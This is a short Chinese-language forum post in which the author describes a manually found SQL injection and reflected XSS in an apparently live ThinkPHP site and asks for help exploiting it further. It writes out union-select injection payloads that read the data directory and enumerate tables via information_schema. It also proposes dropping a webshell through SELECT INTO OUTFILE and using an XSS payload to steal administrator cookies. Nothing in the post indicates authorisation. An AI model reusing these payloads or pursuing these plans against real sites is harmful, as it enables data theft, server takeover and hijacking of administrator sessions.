thinkphp框架下mysql注入

作者：tnt1200

Wamp环境，用thinkphp框架制作，手工检测发现一个注入点。

1	/content/117 and 1=2 union select @@datadir,2,3,4,5,6

 

这个注入点同时还是一个反射型xss，id值被写入到了内联js里。

 

接着提交
and 1=2 union select 1,group_concat(table_name),3,4,5,6 from information_schema.tables where table_schema=(hex值)
返回空白，查看源代码发现”.”之后的语句被截断了。

 

现在有几个思路，求指点
1.构造特殊语句，使语句中不出现”.”。
2.通过Select into outfile导出webshell。但由于框架问题”/”和”\”都被认为是目录。
3.构造xss获取管理员cookies。

1	eg：/content/117;alert(document.cookie)